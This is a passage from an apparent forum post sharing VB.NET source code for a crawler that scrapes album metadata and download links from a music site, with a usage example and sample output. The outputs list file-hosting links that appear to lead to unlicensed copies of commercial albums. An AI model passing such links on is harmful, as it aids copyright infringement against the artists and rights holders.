  177.            Return params.ToQueryString(New Uri("http://freehardmusic.com/index.php"))
  178.  
  179.        End Function
  180.  
  181. #End Region
  182.  
  183.    End Class
  184.  
  185. End Namespace

PageCrawlBeginEventArgs.vb
Código
  1. Namespace FHM
  2.  
  3.    ''' <summary>Represents the event data of the <see cref="FHM.Crawler.PageCrawlBegin"/> event.</summary>
  4.    Public NotInheritable Class PageCrawlBeginEventArgs : Inherits EventArgs
  5.  
  6. #Region " Properties "
  7.  
  8.        ''' <summary>Gets the search query used.</summary>
  9.        Public ReadOnly Property SearchQuery As SearchQuery
  10.  
  11.        ''' <summary>Gets the index of the search page being crawled.</summary>
  12.        Public ReadOnly Property SearchPage As Integer
  13.  
  14. #End Region
  15.  
  16. #Region " Constructors "
  17.  
  18.        Private Sub New()
  19.        End Sub
  20.  
  21.        ''' <summary>Initializes a new instance of the <see cref="PageCrawlBeginEventArgs"/> class.</summary>
  22.        ''' <param name="searchQuery">The search query used.</param>
  23.        ''' <param name="searchPage">The index of the search page.</param>
  24.        Public Sub New(searchQuery As SearchQuery, searchPage As Integer)
  25.            Me.SearchQuery = searchQuery
  26.            Me.SearchPage = searchPage
  27.        End Sub
  28.  
  29. #End Region
  30.  
  31.    End Class
  32.  
  33. End Namespace

PageCrawlEndEventArgs.vb
Código
  1. Namespace FHM
  2.  
  3.    ''' <summary>Represents the event data of the <see cref="FHM.Crawler.PageCrawlEnd"/> event.</summary>
  4.    Public NotInheritable Class PageCrawlEndEventArgs : Inherits EventArgs
  5.  
  6. #Region " Properties "
  7.  
  8.        ''' <summary>Gets the search query used.</summary>
  9.        Public ReadOnly Property SearchQuery As SearchQuery
  10.  
  11.        ''' <summary>Gets the index of the search page crawled.</summary>
  12.        Public ReadOnly Property SearchPage As Integer
  13.  
  14.        ''' <summary>Gets a collection of <see cref="AlbumInfo"/> that contains the information of the albums that were crawled.</summary>
  15.        Public ReadOnly Property Albums As ReadOnlyCollection(Of AlbumInfo)
  16.  
  17. #End Region
  18.  
  19. #Region " Constructors "
  20.  
  21.        Private Sub New()
  22.        End Sub
  23.  
  24.        ''' <summary>Initializes a new instance of the <see cref="PageCrawlEndEventArgs"/> class.</summary>
  25.        ''' <param name="searchQuery">The search query used.</param>
  26.        ''' <param name="searchPage">The index of the search page crawled.</param>
  27.        ''' <param name="albums">A collection of <see cref="AlbumInfo"/> that contains the information of the albums that were crawled.</param>
  28.        Public Sub New(searchQuery As SearchQuery, searchPage As Integer, albums As ICollection(Of AlbumInfo))
  29.            Me.SearchQuery = searchQuery
  30.            Me.SearchPage = searchPage
  31.            Me.Albums = New ReadOnlyCollection(Of AlbumInfo)(albums)
  32.        End Sub
  33.  
  34. #End Region
  35.  
  36.    End Class
  37.  
  38. End Namespace

Crawler.vb
Código
  1. #Region " Imports "
  2.  
  3. Imports System.Collections.Specialized
  4. Imports System.Text.RegularExpressions
  5.  
  6. Imports HtmlDocument = HtmlAgilityPack.HtmlDocument
  7. Imports HtmlNode = HtmlAgilityPack.HtmlNode
  8. Imports HtmlNodeCollection = HtmlAgilityPack.HtmlNodeCollection
  9.  
  10. Imports ElektroKit.Core.Extensions.NameValueCollection
  11.  
  12. #End Region
  13.  
  14. Namespace FHM
  15.  
  16.    ''' <summary>A crawler that searchs and collect albums (its download links) from the http://freehardmusic.com/ website.</summary>
  17.    Public Class Crawler : Implements IDisposable
  18.  
  19. #Region " Private Fields "
  20.  
  21.        ''' <summary>The <see cref="Uri"/> that points to "http://freehardmusic.com/".</summary>
  22.        Protected ReadOnly uriBase As New Uri("http://freehardmusic.com/")
  23.  
  24.        ''' <summary>The <see cref="Uri"/> that points to "http://freehardmusic.com/index2.php".</summary>
  25.        Protected ReadOnly uriIndex As New Uri(Me.uriBase, "/index2.php")
  26.  
  27.        ''' <summary>Flag that determines whether this <see cref="Crawler"/> is busy in a pending fetch operation.</summary>
  28.        Protected isFetching As Boolean
  29.  
  30.        ''' <summary>The <see cref="CancellationToken"/> instance that cancels a pending fetch operation
  31.        ''' started by a call of <see cref="Crawler.FetchAlbumsAsync()"/>.</summary>
  32.        Protected cancelToken As CancellationToken
  33.  
  34.        ''' <summary>The <see cref="CancellationTokenSource"/> instance that signals to <see cref="Crawler.cancelToken"/>.</summary>
  35.        Protected cancelTokenSrc As CancellationTokenSource
  36.  
  37. #End Region
  38.  
  39. #Region " Properties "
  40.  
  41.        ''' <summary>Gets the search query.</summary>
  42.        Public ReadOnly Property SearchQuery As SearchQuery
  43.  
  44. #End Region
  45.  
  46. #Region " Events "
  47.  
  48.        ''' <summary>Occurs when a page is about to be crawled.</summary>
  49.        Public Event PageCrawlBegin As EventHandler(Of PageCrawlBeginEventArgs)
  50.  
  51.        ''' <summary>Occurs when a page is crawled.</summary>
  52.        Public Event PageCrawlEnd As EventHandler(Of PageCrawlEndEventArgs)
  53.  
  54. #End Region
  55.  
  56. #Region " Constructors "
  57.  
  58.        ''' <summary>Initializes a new instance of the <see cref="Crawler"/> class.</summary>
  59.        Public Sub New()
  60.            Me.SearchQuery = New SearchQuery()
  61.            Me.cancelTokenSrc = New CancellationTokenSource()
  62.            Me.cancelToken = Me.cancelTokenSrc.Token
  63.        End Sub
  64.  
  65. #End Region
  66.  
  67. #Region " Public Methods "
  68.  
  69.        ''' <summary>Gets the count of the albums found using the current search query.</summary>
  70.        ''' <returns>The count of the albums found using the current search query.</returns>
  71.        <DebuggerStepThrough>
  72.        Public Overridable Function GetAlbumCount() As Integer
  73.            Dim t As Task(Of Integer) = Task.Run(Of Integer)(AddressOf Me.GetAlbumCountAsync)
  74.            t.Wait()
  75.  
  76.            Return t.Result
  77.        End Function
  78.  
  79.        ''' <summary>Asynchronously gets the count of the albums found using the current search query.</summary>
  80.        ''' <returns>The count of the albums found using the current search query.</returns>
  81.        <DebuggerStepThrough>
  82.        Public Overridable Async Function GetAlbumCountAsync() As Task(Of Integer)
  83.            Dim query As String = Me.SearchQuery.ToString(searchPage:=0)
  84.            Dim uriSearch As New Uri(query)
  85.            Dim htmlSourceCode As String = String.Empty
  86.            Using wc As New WebClient
  87.                htmlSourceCode = Await wc.DownloadStringTaskAsync(uriSearch)
  88.            End Using
  89.  
  90.            Dim htmldoc As New HtmlDocument
  91.            htmldoc.LoadHtml(htmlSourceCode)
  92.  
  93.            Dim xPathResultString As String = "//div[@id='mainbody']/table[1]/tr[2]/td"
  94.  
  95.            Dim node As HtmlNode = htmldoc.DocumentNode.SelectSingleNode(xPathResultString)
  96.  
  97.            Dim text As String = node.InnerText
  98.            text = Regex.Replace(text, "\n", "", RegexOptions.None)    ' Remove new lines.
  99.            text = Regex.Replace(text, "\t", " "c, RegexOptions.None)  ' Replace tabs for white-spaces.
  100.            text = Regex.Replace(text, "\s+", " "c, RegexOptions.None) ' Replace duplicated white-spaces.
  101.  
  102.            Dim albumCount As Integer = CInt(Regex.Match(text, "\d+", RegexOptions.None).Value)
  103.            Return albumCount
  104.        End Function
  105.  
  106.        ''' <summary>Fetch any album found using the current search query.</summary>
  107.        <DebuggerStepThrough>
  108.        Public Overridable Sub FetchAlbums()
  109.            Dim t As Task = Task.Run(AddressOf Me.FetchAlbumsAsync)
  110.            t.Wait()
  111.        End Sub
  112.  
  113.        ''' <summary>Asynchronously fetch any album found using the current search query.</summary>
  114.        ''' <returns>Returns <see langword="False"/> if the fetch operation was canceled by a call to
  115.        ''' <see cref="Crawler.CancelFetchAlbumsAsync()"/> method.</returns>
  116.        <DebuggerStepThrough>
  117.        Public Overridable Async Function FetchAlbumsAsync() As Task(Of Boolean)
  118.            If (Me.isFetching) Then
  119.                Throw New Exception("Another fetch operation is already running in background.")
  120.            End If
  121.            Me.isFetching = True
  122.  
  123.            Me.cancelTokenSrc.Dispose()
  124.            Me.cancelTokenSrc = New CancellationTokenSource()
  125.            Me.cancelToken = Me.cancelTokenSrc.Token
  126.  
  127.            Dim albumCount As Integer = Await Me.GetAlbumCountAsync()
  128.            If (albumCount = 0) Then
  129.                Me.isFetching = False
  130.                Return True
  131.            End If
  132.  
  133.            Dim maxPages As Integer = ((albumCount \ 10) + 1) ' 10 albums per page.
  134.            For i As Integer = 0 To (maxPages - 1)
  135.                Dim query As String = Me.SearchQuery.ToString(searchPage:=i)
  136.                Dim uriSearch As New Uri(query)
  137.                Dim htmlSourceCode As String = String.Empty
  138.                Using wc As New WebClient
  139.                    htmlSourceCode = Await wc.DownloadStringTaskAsync(uriSearch)
  140.                End Using
  141.  
  142.                If (Me.cancelToken.IsCancellationRequested) Then
  143.                    Me.isFetching = False
  144.                    Return False
  145.                End If
  146.  
  147.                Me.OnPageCrawlBegin(New PageCrawlBeginEventArgs(Me.SearchQuery, i))
  148.                Await Me.ParseHtmlSourceCode(i, htmlSourceCode)
  149.            Next i
  150.  
  151.            Me.isFetching = False
  152.            Return True
  153.        End Function
  154.  
  155.        ''' <summary>Aborts a pending fetch operation started by a call to <see cref="Crawler.FetchAlbumsAsync()"/> function.</summary>
  156.        <DebuggerStepThrough>
  157.        Public Sub CancelFetchAlbumsAsync()
  158.            If Not (Me.isFetching) Then
  159.                Throw New Exception("No fetch operation is running.")
  160.            End If
  161.  
  162.            If (Me.cancelToken.IsCancellationRequested) Then
  163.                ' Handle redundant cancellation calls to CancelFetchAlbums()...
  164.                Me.cancelToken.ThrowIfCancellationRequested()
  165.            End If
  166.  
  167.            Me.cancelTokenSrc.Cancel()
  168.        End Sub
  169.  
  170.        ''' <summary>Resets the current search query (<see cref="Crawler.SearchQuery"/>) to its default values.</summary>
  171.        <DebuggerStepThrough>
  172.        Public Sub ResetSearchQuery()
  173.            Me.SearchQuery.Reset()
  174.        End Sub
  175.  
  176. #End Region
  177.  
  178. #Region " Event-Invocators "
  179.  
  180.        ''' <summary>Raises the <see cref="Crawler.PageCrawlBegin"/> event.</summary>
  181.        ''' <param name="e">The <see cref="PageCrawlBeginEventArgs"/> instance containing the event data.</param>
  182.        Protected Overridable Sub OnPageCrawlBegin(e As PageCrawlBeginEventArgs)
  183.            If (Me.PageCrawlBeginEvent IsNot Nothing) Then
  184.                RaiseEvent PageCrawlBegin(Me, e)
  185.            End If
  186.        End Sub
  187.  
  188.        ''' <summary>Raises the <see cref="Crawler.PageCrawlEnd"/> event.</summary>
  189.        ''' <param name="e">The <see cref="PageCrawlBeginEventArgs"/> instance containing the event data.</param>
  190.        Protected Overridable Sub OnPageCrawlEnd(e As PageCrawlEndEventArgs)
  191.            If (Me.PageCrawlEndEvent IsNot Nothing) Then
  192.                RaiseEvent PageCrawlEnd(Me, e)
  193.            End If
  194.        End Sub
  195.  
  196. #End Region
  197.  
  198. #Region " Private Methods "
  199.  
  200.        ''' <summary>Parses the html source code to crawl the albums.</summary>
  201.        ''' <param name="searchPage">The index of the search page.</param>
  202.        ''' <param name="htmlSourceCode">The html source code to parse.</param>
  203.        ''' <returns>Returns <see langword="True"/> if the operation succed; otherwise, <see langword="False"/>.</returns>
  204.        <DebuggerStepperBoundary>
  205.        Private Async Function ParseHtmlSourceCode(searchPage As Integer, htmlSourceCode As String) As Task(Of Boolean)
  206.  
  207.            Dim albums As New Collection(Of AlbumInfo)
  208.  
  209.            Dim xPathTable As String = "//table[@class='vicard']"
  210.            Dim xPathArtist As String = ".//tr/td/span[@class='sobi2Listing_field_band']"
  211.            Dim xPathCountry As String = ".//table[@class='vicard2']/tr/td[@class='goods']/table[@class='goods']/tr/td/img"
  212.            Dim xPathGenre As String = ".//tr[3]/td/table/tr/td[2]/table/tr/td"
  213.            Dim xPathYear As String = ".//tr/td/span[@class='sobi2Listing_field_year']"
  214.            Dim xPathTitle As String = ".//tr/td/p[@class='sobi2ItemTitle']/a[@title]"
  215.            Dim xPathUrl As String = ".//table[@class='vicard2']/tr/td/a[@href]"
  216.  
  217.            Dim htmldoc As New HtmlDocument
  218.            Try
  219.              htmldoc.LoadHtml(htmlSourceCode)
  220.            Catch ex As Exception
  221.                Return False
  222.            End Try
  223.  
  224.            Dim nodes As HtmlNodeCollection = htmldoc.DocumentNode.SelectNodes(xPathTable)
  225.            If (nodes.Count = 0) Then
  226.                Return False
  227.            End If
  228.  
  229.            For Each node As HtmlNode In nodes
  230.                Dim artist As String
  231.                Dim title As String
  232.                Dim country As String
  233.                Dim genre As String
  234.                Dim year As String
  235.  
  236.                Dim albumId As String
  237.                Dim albumUrl As String
  238.  
  239.                Try
  240.                    artist = node.SelectSingleNode(xPathArtist).InnerText
  241.                    artist = Encoding.UTF8.GetString(Encoding.Default.GetBytes(artist))
  242.                    artist = HttpUtility.HtmlDecode(artist)
  243.                    artist = New CultureInfo("en-US").TextInfo.ToTitleCase(artist.Trim(" "c).ToLower())
  244.                Catch ex As Exception
  245.                    artist = "unknown"
  246.                End Try
  247.  
  248.                Try
  249.                    title = node.SelectSingleNode(xPathTitle).GetAttributeValue("title", "")
  250.                    title = Encoding.UTF8.GetString(Encoding.Default.GetBytes(title))
  251.                    title = HttpUtility.HtmlDecode(title)
  252.                    title = New CultureInfo("en-US").TextInfo.ToTitleCase(title.Trim(" "c).ToLower())
  253.                Catch ex As Exception
  254.                    title = "unknown"
  255.                End Try
  256.  
  257.                Try
  258.                    country = node.SelectSingleNode(xPathCountry).GetAttributeValue("src", "unknown")
  259.                    country = Path.GetFileNameWithoutExtension(country)
  260.                    country = New CultureInfo("en-US").TextInfo.ToTitleCase(country.ToLower())
  261.                Catch ex As Exception
  262.                    country = "unknown"
  263.                End Try
  264.  
  265.                Try
  266.                    genre = node.SelectSingleNode(xPathGenre).InnerText
  267.                    genre = Regex.Replace(genre, "\n", "", RegexOptions.None)    ' Remove new lines.
  268.                    genre = Regex.Replace(genre, "\t", " "c, RegexOptions.None)  ' Replace tabs for white-spaces.
  269.                    genre = Regex.Replace(genre, "\s+", " "c, RegexOptions.None) ' Replace duplicated white-spaces.
  270.                    genre = New CultureInfo("en-US").TextInfo.ToTitleCase(genre.Trim(" "c).ToLower())
  271.                Catch ex As Exception
  272.                    genre = "unknown"
  273.                End Try
  274.  
  275.                Try
  276.                    year = node.SelectSingleNode(xPathYear).InnerText.Trim(" "c)
  277.                Catch ex As Exception
  278.                    year = "unknown"
  279.                End Try
  280.  
  281.                Try
  282.                    albumUrl = node.SelectSingleNode(xPathUrl).GetAttributeValue("href", "").Trim(" "c)
  283.                    albumUrl = HttpUtility.HtmlDecode(albumUrl)
  284.                Catch ex As Exception
  285.                    Continue For
  286.                End Try
  287.  
  288.                albumId = HttpUtility.ParseQueryString(New Uri(albumUrl).Query)("sobi2Id")
  289.  
  290.                Dim downloadUrlParams As New NameValueCollection From {
  291.                    {"sobiid", albumId},
  292.                    {"sobi2Task", "addSRev"},
  293.                    {"no_html", "1"},
  294.                    {"option", "com_sobi2"},
  295.                    {"rvote", "1"}
  296.                }
  297.  
  298.                Dim downloadLinks As List(Of String)
  299.                Try
  300.                    Using wc As New WebClient()
  301.                        htmlSourceCode = Await wc.DownloadStringTaskAsync(New Uri(downloadUrlParams.ToQueryString(Me.uriIndex)))
  302.                    End Using
  303.  
  304.                    Dim xDoc As XDocument = XDocument.Parse(htmlSourceCode)
  305.                    Dim elements As IEnumerable(Of XElement) = xDoc.<rev>
  306.                    downloadLinks = New List(Of String) From {
  307.                        elements.<msg>.Value,
  308.                        elements.<msg2>.Value,
  309.                        elements.<msg3>.Value,
  310.                        elements.<msg4>.Value,
  311.                        elements.<msg5>.Value,
  312.                        elements.<msg6>.Value,
  313.                        elements.<msg7>.Value,
  314.                        elements.<msg8>.Value,
  315.                        elements.<msg9>.Value,
  316.                        elements.<msg10>.Value,
  317.                        elements.<msg11>.Value,
  318.                        elements.<msg12>.Value,
  319.                        elements.<msg13>.Value
  320.                    }
  321.                Catch ex As Exception
  322.                    Continue For
  323.                End Try
  324.  
  325.                downloadLinks = (From item As String In downloadLinks
  326.                                 Where Not String.IsNullOrWhiteSpace(item)
  327.                                 Select item.TrimEnd(" "c)
  328.                                ).ToList()
  329.  
  330.                Dim albumInfo As New AlbumInfo(albumId, New Uri(albumUrl, UriKind.Absolute),
  331.                                               artist, title, country, genre, year,
  332.                                               downloadLinks)
  333.  
  334.                albums.Add(albumInfo)
  335.            Next node
  336.  
  337.            Me.OnPageCrawlEnd(New PageCrawlEndEventArgs(Me.SearchQuery, searchPage, albums))
  338.            Return True
  339.        End Function
  340.  
  341. #End Region
  342.  
  343. #Region " IDisposable Implementation "
  344.  
  345.        ''' <summary>Flag to detect redundant calls when disposing.</summary>
  346.        Private isDisposed As Boolean = False
  347.  
  348.        ''' <summary>Releases all the resources used by this <see cref="Crawler"/>.</summary>
  349.        <DebuggerStepThrough>
  350.        Public Sub Dispose() Implements IDisposable.Dispose
  351.            Me.Dispose(isDisposing:=True)
  352.            GC.SuppressFinalize(obj:=Me)
  353.        End Sub
  354.  
  355.        ''' <summary>Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.</summary>
  356.        ''' <param name="isDisposing"><see langword="True"/> to release both managed and unmanaged resources;
  357.        ''' <see langword="False"/> to release only unmanaged resources.</param>
  358.        <DebuggerStepThrough>
  359.        Protected Overridable Sub Dispose(isDisposing As Boolean)
  360.            If (Not Me.isDisposed) AndAlso (isDisposing) Then
  361.                If (Me.cancelTokenSrc IsNot Nothing) Then
  362.                    Me.cancelTokenSrc.Dispose()
  363.                    Me.cancelTokenSrc = Nothing
  364.                End If
  365.                Me.cancelToken = Nothing
  366.                Me.isFetching = False
  367.                Me.ResetSearchQuery()
  368.            End If
  369.  
  370.            Me.isDisposed = True
  371.        End Sub
  372.  
  373. #End Region
  374.  
  375.    End Class
  376.  
  377. End Namespace

NameValueCollectionExtensions.vb
« Última modificación: 5 Abril 2018, 01:51 am por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #524 en: 5 Abril 2018, 01:37 am »

Ejemplo de uso del FHM Crawler que compartí en este otro post: https://foro.elhacker.net/net/libreria_de_snippets_para_vbnet_compartan_aqui_sus_snippets-t378770.0.html;msg2158878#msg2158878

Código
  1. Imports FHM
  2.  
  3. Public Module Module1
  4.  
  5.    Private WithEvents FHMCrawler As New Crawler
  6.    Private mre As New ManualResetEvent(initialState:=False)
  7.  
  8.    Public Sub Main()
  9.        FHMCrawler.SearchQuery.Artist = "Paramore"
  10.  
  11.        Console.WriteLine("URL: {0}", FHMCrawler.SearchQuery.ToString())
  12.        Console.WriteLine()
  13.        Console.WriteLine("Retrieving Album count...")
  14.        Dim albumCount As Integer = FHMCrawler.GetAlbumCount()
  15.        Console.WriteLine("Album Count: {0}", albumCount)
  16.        Console.WriteLine()
  17.        Console.WriteLine("Begin crawling, please wait...")
  18.        Fetch()
  19.        mre.WaitOne()
  20.        Console.WriteLine("Done!. Press any key to exit...")
  21.        Console.ReadKey()
  22.    End Sub
  23.  
  24.    Public Async Sub Fetch()
  25.        Dim success As Boolean = Await FHMCrawler.FetchAlbumsAsync()
  26.        mre.Set()
  27.    End Sub
  28.  
  29.    <DebuggerStepperBoundary>
  30.    Private Sub FHMCrawler_BeginPageCrawl(ByVal sender As Object, e As PageCrawlBeginEventArgs) Handles FHMCrawler.PageCrawlBegin
  31.        Console.WriteLine("[+] Begin crawling page with index: {0}", e.SearchPage)
  32.        Console.WriteLine()
  33.    End Sub
  34.  
  35.    <DebuggerStepperBoundary>
  36.    Private Sub FHMCrawler_EndPageCrawl(ByVal sender As Object, e As PageCrawlEndEventArgs) Handles FHMCrawler.PageCrawlEnd
  37.        For Each albumInfo As AlbumInfo In e.Albums
  38.            Dim sb As New StringBuilder()
  39.            sb.AppendLine(String.Format("Artist Name.....: {0}", albumInfo.Artist))
  40.            sb.AppendLine(String.Format("Album Title.....: {0}", albumInfo.Title))
  41.            sb.AppendLine(String.Format("Album Year......: {0}", albumInfo.Year))
  42.            sb.AppendLine(String.Format("Album Country...: {0}", albumInfo.Country))
  43.            sb.AppendLine(String.Format("Album Genre.....: {0}", albumInfo.Genre))
  44.            sb.AppendLine(String.Format("Album Id........: {0}", albumInfo.Id))
  45.            sb.AppendLine(String.Format("Album Url.......: {0}", albumInfo.Uri.AbsoluteUri))
  46.            sb.AppendLine(String.Format("Download Link(s): {0}", String.Format("{{ {0} }}", String.Join(", ", albumInfo.DownloadLinks))))
  47.            Console.WriteLine(sb.ToString())
  48.        Next albumInfo
  49.        Console.WriteLine("[+] End crawling page with index: {0}", e.SearchPage)
  50.        Console.WriteLine()
  51.    End Sub
  52.  
  53. End Module

Output:
Citar

URL: http://freehardmusic.com/index.php?field_band=Paramore&field_country=all&field_genre=all&field_year=all&option=com_sobi2&search=Search&searchphrase=exact&sobi2Search=&sobi2Task=axSearch&SobiCatSelected_0=0&sobiCid=0&SobiSearchPage=0

Retrieving Album count...
Album Count: 13

Begin crawling, please wait...
  • Begin crawling page with index: 0

Artist Name.....: Paramore
Album Title.....: After Laughter
Album Year......: 2017
Album Country...: Unitedstates
Album Genre.....: Pop Rock
Album Id........: 750762
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=750762
Download Link(s): { https://mega.nz/#!cL5DjAyT!yUxVz9-L_E5qLgsUnlrQyu2TTkBjHFy3Qo4rthK6wso }

Artist Name.....: Paramore
Album Title.....: Ignorance (Single)
Album Year......: 2009
Album Country...: Unitedstates
Album Genre.....: Female Vocal, Punk-Rock
Album Id........: 706939
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706939
Download Link(s): { http://www.mediafire.com/file/z4blihr29e08o9v/P_I-Single+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Decode (Single)
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Emo, Punk-Rock
Album Id........: 706938
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706938
Download Link(s): { http://www.mediafire.com/file/flmfffs94s6coc7/P_D-Single+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Misery Business Ep
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Emo, Female Vocal, Punk-Rock
Album Id........: 706937
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706937
Download Link(s): { http://www.mediafire.com/file/rbn99qf5vcypzmb/P_MB-EP+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Hallelujah Ep
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Emo, Female Vocal, Punk-Rock
Album Id........: 706936
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=706936
Download Link(s): { http://www.mediafire.com/file/vzmjxy7dzbvz0wu/P_H-EP+14-12-16.rar }

Artist Name.....: Paramore
Album Title.....: Acoustic Ep [Unnoficial]
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 679494
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=679494
Download Link(s): { https://yadi.sk/d/t3uohja1iGahE }

Artist Name.....: Paramore
Album Title.....: The Summer Tic [Ep]
Album Year......: 2006
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 679493
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=679493
Download Link(s): { https://yadi.sk/d/hfBw4_6SiGZpz }

Artist Name.....: Paramore
Album Title.....: The Final Riot!
Album Year......: 2008
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669959
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669959
Download Link(s): { http://www.mediafire.com/download/9agyx5hwzha6qsi/PTFR.rar }

Artist Name.....: Paramore
Album Title.....: Brand New Eyes
Album Year......: 2009
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669957
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669957
Download Link(s): { http://www.mediafire.com/download/2151e2bj7qtjaki/PBNE.rar }

Artist Name.....: Paramore
Album Title.....: The Singles Club Ep
Album Year......: 2011
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669955
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669955
Download Link(s): { http://www.mediafire.com/download/b6q2c7nyxdca00n/PSC.rar }

  • End crawling page with index: 0
  • Begin crawling page with index: 1

Artist Name.....: Paramore
Album Title.....: Pararmore
Album Year......: 2013
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669953
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669953
Download Link(s): { http://www.mediafire.com/download/y11109qmik6icj4/PP.rar }

Artist Name.....: Paramore
Album Title.....: Riot!
Album Year......: 2007
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669949
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669949
Download Link(s): { http://www.mediafire.com/download/dyc03s9vokkogv7/PR.rar }

Artist Name.....: Paramore
Album Title.....: All We Know Is Falling
Album Year......: 2005
Album Country...: Unitedstates
Album Genre.....: Power Pop, Pop Rock, Punk-Rock
Album Id........: 669948
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=669948
Download Link(s): { http://www.mediafire.com/download/nsbiuigwij7y5tf/PAWKIF.rar }

  • End crawling page with index: 1

Done!. Press any key to exit...


Otro output addicional:
Código:
Search Params: field_band=h%c3%a9roes+del+silencio&field_country=all&field_genre=all&field_year=all

Uri: http://freehardmusic.com/index.php?field_band=h%C3%A9roes+del+silencio&field_country=all&field_genre=all&field_year=all&option=com_sobi2&search=Search&searchphrase=exact&sobi2Search=&sobi2Task=axSearch&SobiCatSelected_0=0&sobiCid=0&SobiSearchPage=0

Retrieving Album count...
Album Count: 21

Begin crawling, please wait...
[+] Begin crawling page with index: 0

Artist Name.....: Héroes Del Silencio
Album Title.....: The Platinum Collection (Compilation)
Album Year......: 2006
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770138
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770138
Download Link(s): { https://mega.nz/#!5yAE0ZpA!IFhADBkkKHgEN4Gghum-h9iKbQlH6N3owXymDokmF4Q }

Artist Name.....: Héroes Del Silencio
Album Title.....: Tesoro - Concert In Valencia 27Th October 2007 (Video)
Album Year......: 2008
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770135
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770135
Download Link(s): { https://mega.nz/#!834HAAiY!S7NDexqPxuPU6nEVv9PriekUi3MN3O2oBCtrTd2Nx8Y }

Artist Name.....: Héroes Del Silencio
Album Title.....: Senda '91 (Live)
Album Year......: 1991
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770129
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770129
Download Link(s): { https://mega.nz/#!8uAC1DIS!tctPPSySY6I2v7kteAahx6iKlDVs8R5WnrWvXUBtqaM }

Artist Name.....: Héroes Del Silencio
Album Title.....: En Directo
Album Year......: 1989
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770127
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770127
Download Link(s): { https://mega.nz/#!wnJwmYpD!XIFosoFfCar5UTAAjgORH0QHW8jm5ELRqZGK4UTNMfU }

Artist Name.....: Héroes Del Silencio
Album Title.....: Héroes Del Silencio (Compilation)
Album Year......: 1999
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 770126
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=770126
Download Link(s): { https://mega.nz/#!47R2jKqD!WmwbU3DvhVoBcZvf2IMPMATpAC_woGtKiBo_YzTp3eo }

Artist Name.....: Héroes Del Silencio
Album Title.....: Senderos De Traición (25Th Anniversary Edition)
Album Year......: 2015
Album Country...: Spain
Album Genre.....: Rock And Roll
Album Id........: 703496
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=703496
Download Link(s): { https://www.mediafire.com/?gwyzc4pvvhjdiax }

Artist Name.....: Héroes Del Silencio
Album Title.....: Volveremos (Compilation)
Album Year......: 2016
Album Country...: Spain
Album Genre.....: Rock And Roll
Album Id........: 703259
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=703259
Download Link(s): { http://www.mediafire.com/file/sh9pr3uvb86my6b/703259.rar }

Artist Name.....: Héroes Del Silencio
Album Title.....: El Espíritu Del Vino (20Th Anniversary Edition)
Album Year......: 2012
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700503
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700503
Download Link(s): { https://mega.nz/#!lgESxaJb!5K3YpWZ1Znq5EhZij9ltPd1GLaTaH_dSePXm5pCN6dg }

Artist Name.....: Héroes Del Silencio
Album Title.....: Antología Audiovisual (Compilation)
Album Year......: 2004
Album Country...: Spain
Album Genre.....: Hard Rock
Album Id........: 700490
Album Url.......: http://freehardmusic.com/albums.html?sobi2Task=sobi2Details&catid=0&sobi2Id=700490
